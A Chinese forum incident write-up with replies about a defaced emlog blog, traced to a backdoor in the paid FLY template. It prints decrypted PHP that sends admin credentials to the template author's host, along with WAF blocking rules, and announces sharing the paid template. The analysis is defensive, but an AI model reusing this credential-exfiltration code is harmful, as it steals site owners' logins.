用户
搜索
  • TA的每日心情

    2018-3-2 07:59
  • 签到天数: 8 天

    连续签到: 1 天

    [LV.3]经常看看I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    26

    主题

    263

    帖子

    1287

    魔法币
    收听
    0
    粉丝
    75
    注册时间
    2017-4-15

    i春秋认证春秋文阁i春秋签约作者

    发表于 2018-8-23 09:51:45 15821424
    本帖最后由 jasonx 于 2018-8-23 10:55 编辑

    前言:

    人在江湖漂,哪能不挨刀。小弟我的博客在21号被日了,想不到从来都是我日人,如今却惨被人日(悲伤脸)

    其实挨刀不可怕,可怕的是他砍到了我这块铁板上,滋出了一溜的火花。所谓知己知彼方能百战不殆,必须知道对方是如何拿下我网站的,如果不分析出原因,下次被日的还是小弟我。

    所以接下来,我们要对整个入侵事件进行一次简单的分析。

    0x01 博客基本情况

    我博客用的系统是 centos6,博客程序是emlog的cms。模块是一个付费模块【fly】
    说实话这个模块挺好看的,首次安装的时候我就D盾扫了下,看看是不是有后门,扫描结果除了发现几个加密的php文件,其他看起来也没啥毛病,所以就没管了,想不到就是这几个加密文件,才导致了博客被入侵。

    被入侵的时间是8月21号,登录服务器后发现文件被删,index.php文件被篡改。
    文件修改时间是2018年8月21日18:04:15
    被挂的黑页如下:

    等等,这他妈不是我使用的模块售后群吗?
    难道是作者日了我的站点?
    当然不排除是其他黑客日了以后故意甩锅给作者,所以我们先来分析一下日志再说。

    0x02 入侵过程分析

    首先我博客是用宝塔的控制面板,但是我888端口做了白名单,只有跳板IP可以访问这个端口,ssh端口也做了白名单,没有开放ftp,mysql没有开放外联,waf用的云锁。

    第一步我们先登录云锁看看,在20号左右没有发现可疑日志。
    那么我们先看看日志吧,先拨号上跳板,然后输入xxxx.cc:888登录云锁控制台。
    然后进入【安全】菜单,点击web日志的路径进入。

    然后下载19号之前和22号以后的日志

    我的博客也没啥流量,所以日志文件比较小,直接notepad++打开就行了。
    因为之前看到那个黑页的修改时间是2018年8月21日16:15:15
    所以直接定位到8月21日18点04分左右的部分开始看.

    直接在notepad++里面查找关键词【.php】

    然后定位到18点以后的部分。

    疑似入侵者IP:222.240.56.48
    查询一下,湖南长沙的

    现在咱们挨个文件看看他是如何发起攻击的。

    0x03 多做备份才能减少损失

    因为博客上的文件已经被他删得差不多了,只剩下一些配图文件夹,不过还好本屌对接了阿里云的oss。
    每3天自动备份整站到阿里云oss。

    这里不得不赞一下阿里云的oss,如果只是归档存储的话,价格很便宜,不下载备份文件不用付费,只要购买储存空间就行了

    我们登录阿里云控制台,进入oss存储。

    然后进入文件管理,可以看到在19号之前的备份文件都是30多M
    但是22号以后备份只有10多M了

    所以我们得下载19号的这个备份文件去恢复到博客。
    点击19号这个文件,进入以后解冻文件,然后等大概两分钟就会解冻成功。

    然后就能看到下载地址了,直接下载后上传到我们博客,然后解压就行了。

    ----小提示----

    在恢复站点前,我们先闭站。
    先把80端口和443端口加个白名单,只允许我们的IP访问,这样可以避免在你没有查出问题之前,又被人给日了。

    0x04 官方后门 最为致命

    他访问的第一个文件 /include/lib/checkcode.php
    我们本地访问以下看看,发现这是验证码的文件。

    第二个文件/content/templates/FLY/inc/ajax.php?a=ajax
    我们直接访问后显示;
    {"code":"208"}

    如果管理员处于登录博客状态,会返回账号密码等等数据。

    那么问题肯定出在这个ajax.php上面了,我们打开看看。
    厉害厉害,加密了,这里非常感谢“空格表哥”帮忙解密了这个文件

    我们查找ajax看看,发现在这里,账号密码被打印出来了。

    日志里面发现post了一个数据
    /content/templates/FLY/inc/ajax.php?a=login

    我们在解密后的ajax.php里面搜索login看看
    好家伙,官方后门真可怕,看到我注释的地方,已经明白大概是啥意思了。

    我们登录博客后台后,会把url   账号 密码等等数据传送到作者的以下地址。
    https://api.pjax.cn/i.php?data=

    贴上代码
    if ($_GET['a'] == 'login') {
            $username = isset($_POST['user']) ? addslashes(trim($_POST['user'])) : '';
            $password = isset($_POST['pw']) ? addslashes(trim($_POST['pw'])) : '';
            $ispersis = isset($_POST['ispersis']) ? intval($_POST['ispersis']) : false;
            $img_code = Option::get('login_code') == 'y' && isset($_POST['imgcode']) ? addslashes(trim(strtoupper($_POST['imgcode']))) : '';
            $errorCode = LoginAuth::checkUser($username, $password, $img_code);
            if ($errorCode === true) {
                    LoginAuth::setAuthCookie($username, $ispersis);
                    $userinfo = LoginAuth::getUserDataByLogin($username);
                    $json = array('code' => '200', 'data' => $userinfo);
                    $tempath = @file_get_contents(EMLOG_ROOT . '/content/templates/FLY/fonts/FontAwesome.woff');
                    $tempath = base64_decode($tempath);
                    if ($tempath != BLOG_URL && $userinfo['role'] == 'admin') {
                            #$url = 'https://api.pjax.cn/i.php?data=' . urlencode('盗版地址:' . BLOG_URL . '|盗版管理员账号:' . $username . '|盗版管理员密码:' . $password . '|泄露源:' . $tempath);
                            #$data = @file_get_contents($url);
                    }
            } else {
                    if ($errorCode == '-3') {
                            $json = array('code' => '201', 'info' => '验证码输入有误');
                    } else {
                            if ($errorCode == '-1') {
                                    $json = array('code' => '202', 'info' => '账号或密码错误');
                            } else {
                                    if ($errorCode == '-2') {
                                            $json = array('code' => '203', 'info' => '账号或密码错误');
                                    }
                            }
                    }
            }
            echo json_encode($json);

    我们继续往下看。

    在这里他上传了一个模块文件,然后安装。

    因为日志里面没有发现他访问了其他PHP文件,所以我首页文件index.php被修改的可能只有一个,就是他上传的模块里面已经写好了黑页,然后上传模块,覆盖掉我网站上面的首页文件。

    然后删除我的模块,这也证明了为什么只删除了模块,而我文章配图文件夹都还在的原因。

    0x05 我们该去找找攻击者了

    先再确认一下是不是作者干的,通过日志已经知道IP地址了。
    222.240.56.48
    查询是湖南长沙的。

    没错了,就是你了,直接问下作者是啥意思。



    事情已经很明了啦,因为我之前购买以后换过一次域名,作者以为我现在这个域名是盗用了他的模块,然后把我日的,躺枪了,这他妈是误伤啊。但是模块存在后门这个是事实。

    总结下过程

    1.作者在/content/templates/FLY/inc/ajax.php文件里面写了个后门
    2.我们正常登录后台以后,会自动把你的后台地址,账号密码发送到作者哪里
    3.然后作者那边有个授权列表,会做对比,如果不在授权列表里面,会单独标记出来。
    4.然后某一天你就被作者删模块,挂黑页了.....

    避免被日方法

    以防护软件【云锁】为例;
    打开云锁,进入详细设置

    进入漏洞防护设置

    新增一条防护规则

    用正则禁止访问/admin后台下的文件。
    正则表达式;
    /admin([\s\S]*?)
    注意:新增这个规则以后你会无法访问后台,不过你可以把你ip或者跳板机加入白名单,以后只有你跳板机和你IP可以访问/admin下面的所有文件。

    继续禁止ajax=login
    ([\s\S]*?)?a=login

    禁止下列几个文件访问
    useragent_setting.php
    install.php.lock
    setting.php
    functions.php

    写在最后

    虽然这是一起误伤事件,但是改变不了把我站日了的事实,所以,我做了一个决定,直接公开你的模块,并写出避免被日的方法。
    收费模块在最后,回复可见。

    ajax文件后门部分已经被我注释掉了,表哥们安心使用就是了。
    另外有几个加密文件不知道干啥用的,有兴趣的表哥们自行解密研究看看。



    游客,如果您要查看本帖隐藏内容请回复







    很想给你一堆666,但是i春秋好像不允许这么水的回复
    很想给你一堆666,但是i春秋好像不允许这么水的回复
    很想给你一堆666,但是i春秋好像不允许这么水的回复
    很想给你一堆666,但是i春秋好像不允许这么水的回复
    使用道具 举报 回复

    很想给你一堆666,但是i春秋好像不允许这么水的回复
    很想给你一堆666,但是i春秋好像不允许这么水的回复
    很想给你一堆666,但是i春秋好像不允许这么水的回复
    很想给你一堆666,但是i春秋好像不允许这么水的回复
    使用道具 举报 回复
    发表于 2018-8-25 19:10:02
    JUXKU 发表于 2018-8-25 17:34
    虽然说是因为防盗版才弄得后门,但还是接受不了,万一某一天有人黑了他的服务器,用他模块的全部得遭殃= = ...

    表哥想到的都已经发生了,他服务器被人拿下了,客户数据全泄露。
    使用道具 举报 回复
    发表于 2018-8-24 23:09:41
    本帖最后由 jasonx 于 2018-8-24 23:24 编辑
    小爱_Joker 发表于 2018-8-24 22:33
    善恶终有报,因果自轮回 大佬请节哀

    大佬费心了,不过有备份对我来说没啥损失、
    但是对方就有点惨了,客户数据全被打包,服务器被格。
    使用道具 举报 回复
    这种发现后门的方式也真是匪夷所思了,不过这个商家也确实有问题啊,真给自己系统留后门,也就是所有安装过他模块的用户名密码都被收集了,狠。。。
    使用道具 举报 回复
    发表于 2018-8-29 09:49:18
    很强势,,,虽然这是一起误伤事件,但是改变不了把我站日了的事实,所以,我做了一个决定,直接公开你的模块,并写出避免被日的方法。
    使用道具 举报 回复
    发表于 2018-8-28 07:40:19
    红莲骑士 发表于 2018-8-27 13:34
    替换了文件之后可以更新升级吗

    不可以升级,否则另外有个加密文件会下载后门到网站里面。
    使用道具 举报 回复
    虽然这是一起误伤事件,但是改变不了把我站日了的事实,所以,我做了一个决定,直接公开你的模块,并写出避免被日的方法。
    使用道具 举报 回复
    发表于 2018-8-23 10:02:28
    无良作者,竟然留后门公布的好。丁丁表哥做的对~~
    使用道具 举报 回复
    发表于 2018-8-23 10:13:44
    无良作者,竟然留后门公布的好。丁丁表哥做的对~
    低调求发展,潜心学安全 个人博客www.shallowdream.cn
    使用道具 举报 回复
    发表于 2018-8-23 10:16:17
    无良作者,竟然留后门公布的好。丁丁表哥做的对~~
    当你凝望深渊时,你就不怕吗?
    使用道具 举报 回复
    发表于 2018-8-23 10:23:37
    官方后门,,大表锅牛掰
    使用道具 举报 回复
    发表于 2018-8-23 10:25:37
    哈哈,这个作者也是醉了
    使用道具 举报 回复
    发表于 2018-8-23 10:28:11
    good  job  干得漂亮
    使用道具 举报 回复
    发表于 2018-8-23 10:31:12
    厉害厉害
    使用道具 举报 回复
    发表于 2018-8-23 10:34:17
    无良作者,竟然留后门公布的好。丁丁表哥做的对~~
    使用道具 举报 回复
    发表于 2018-8-23 10:34:18
    学习一下~
    使用道具 举报 回复
    发表于 2018-8-23 10:34:18
    学习学习。。。。
    http://www.anonymou5.com
    使用道具 举报 回复
    发表于 2018-8-23 10:36:50
    这坑爹作者,就应该反日他一波
    本屌技术渣,Q1322856336,欢迎各位表哥们指点交流~
    使用道具 举报 回复
    发表于 2018-8-23 10:37:03
    6666666666666666666
    使用道具 举报 回复
    发表于 2018-8-23 10:43:50
    这就很尴尬了
    使用道具 举报 回复
    发表于 2018-8-23 10:47:36
    还有这种操作哦
    使用道具 举报 回复
    您需要登录后才可以回帖 登录 | 立即注册